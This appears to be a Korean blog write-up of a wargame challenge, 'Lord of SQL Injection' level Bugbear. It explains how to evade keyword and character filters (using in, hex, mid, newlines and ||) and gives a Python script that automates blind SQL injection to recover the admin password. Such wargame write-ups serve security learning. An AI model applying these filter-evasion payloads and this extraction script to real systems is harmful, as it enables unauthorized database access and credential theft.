반응형
[Level 13. Bugbear] Sol → ?pw=52dc3991
13단계는 12단계와 같지만, or / and / like / spacebar 등 필터링되는 문자가 훨씬 많다.
그래서 우리는 다음 문제들을 해결해야 한다.
Q1) 작은따옴표(')와 등호(=)와 like를 사용할 수 없는데 id = 'admin' 또는 id like char(97, 100, 109, 105, 110))을 어떻게 쓸까?
Q2) ascii와 or을 사용할 수 없는데 ascii(substring(pw, n, 1)) > m 또는 ord(substring(pw, n, 1)) > m를 어떻게 쓸까?
그 외의 문제들은 or 대신 ||, and 대신 &&(%26%26), substring 대신 mid, 스페이스바 대신 엔터(%0A)를 사용하면 된다.
A1) id in ("admin")을 사용하자. (id%0Ain%0A("admin")
숫자도 대/소 비교는 가능한데 =을 사용하지 못하므로 length(pw)%0Ain%0A("숫자")로 비교해주었다.
A2) ascii와 ord 대신 hex를 사용하자.
hex는 문자를 16진수로 변환한 값을 출력해주는 함수이다.
a의 아스키 값이 97인데, a의 hex값과 97의 hex 값이 같기 때문에, 기존 쿼리에서 ascii 대신 hex를 사용하고 숫자 대신 hex(숫자)를 사용해서 비교할 것이다.
인코딩 문제로 url에서의 엔터(%0A)는 파이썬 자동화 코드에서 (\n)으로 바꾸어주었다.
import requests
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookie = {'PHPSESSID': 'cookies'}
def find_length():
pwlength = 1
while True:
param = {"no": '1||id\nin\n("admin")&&length(pw)\nin\n("{}")#'.format(pwlength)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
return pwlength
else:
pwlength += 1
def find_pw():
length = find_length()
print("비밀번호 길이: ", length)
password = ""
for i in range(length):
s = 1
e = 127
value = 64
while True:
param = {"no": '1||id\nin\n("admin")&&hex(mid(pw,{},1))\nin\n(hex({}))#'.format(i+1, value)}
print(param)
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
password += chr(value)
break
else:
param = {"no": '1||id\nin\n("admin")&&hex(mid(pw,{},1))>hex({})#'.format(i+1, value)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
s = value
value = (value + e) // 2
else:
e = value
value = (s + value) // 2
print("비밀번호는: ", password)
find_pw()
반응형
'WarGames > SQL Injection' 카테고리의 다른 글
Lord of SQL Injection : Assassin[15] (0) | 2021.12.13 |
---|---|
Lord of SQL Injection : Giant[14] (0) | 2021.12.08 |
Lord of SQL Injection : Darknight[12] (0) | 2021.12.04 |
Lord of SQL Injection : Skeleton[10] ~ Golem[11] (0) | 2021.12.01 |
Lord of SQL Injection : Troll[8] ~ Vampire[9] (0) | 2021.11.29 |
댓글